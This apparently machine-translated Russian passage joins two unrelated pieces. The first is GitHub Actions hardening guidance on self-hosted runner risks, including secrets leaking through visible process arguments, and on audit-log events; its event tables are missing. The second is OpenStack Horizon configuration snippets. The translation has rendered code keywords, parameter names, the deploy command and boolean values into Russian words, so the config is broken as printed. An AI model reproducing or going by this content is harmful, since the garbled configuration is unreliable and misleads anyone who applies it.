• Есть ли у аппарата сетевой доступ к конфиденциальным службам? Например, службы метаданных Azure или AWS. Количество конфиденциальной информации в этой среде должно быть сведено к минимуму, и вы всегда должны помнить, что любой пользователь, способный вызывать рабочие процессы, имеет доступ к этой среде.

Некоторые клиенты могут попытаться частично снизить эти риски, внедрив системы, которые автоматически уничтожают автономный исполнитель после каждого выполнения задания. Однако этот подход может оказаться не таким эффективным, как предполагалось, поскольку нет способа гарантировать, что автономный исполнитель выполняет только одно задание. Некоторые задания будут использовать секреты в качестве аргументов командной строки, которые может увидеть другое задание, запущенное на том же средстве выполнения, например ps x -w . Это может привести к утечке секрета.

Аудит событий действий GitHub

Вы можете использовать журнал аудита для отслеживания административных задач в организации. В журнале аудита записывается тип действия, время его выполнения и учетная запись пользователя, выполнившего действие.

Например, вы можете использовать журнал аудита для отслеживания события org.update_actions_secret , которое отслеживает изменения в секретах организации:

В следующих таблицах описаны события действий GitHub, которые можно найти в журнале аудита.Для получения дополнительной информации об использовании журнала аудита см.
«Просмотр журнала аудита вашей организации».

События для окружающей среды

События для изменений конфигурации

События для секретного управления

 параметр_по умолчанию:
      ControllerExtraConfig:
        горизонт :: disallow_iframe_embed: false 

 enable_secure_proxy_ssl_header: true 

 горизонт :: cache_backend: django.core.cache.backends.memcached.MemcachedCache
          горизонт :: django_session_engine: 'django.contrib.sessions.backends.cache' 

 развертывание openstack overcloud --templates \
      -e <полное окружение> -e горизонт_пароль.yaml 

 параметр_по умолчанию:
      ControllerExtraConfig:
        горизонт :: enforce_password_check: false 

 параметр_по умолчанию:
      ControllerExtraConfig:
        горизонт :: disallow_iframe_embed: ложь 

 параметр_по умолчанию:
      ControllerExtraConfig:
        горизонт :: disable_password_reveal: ложь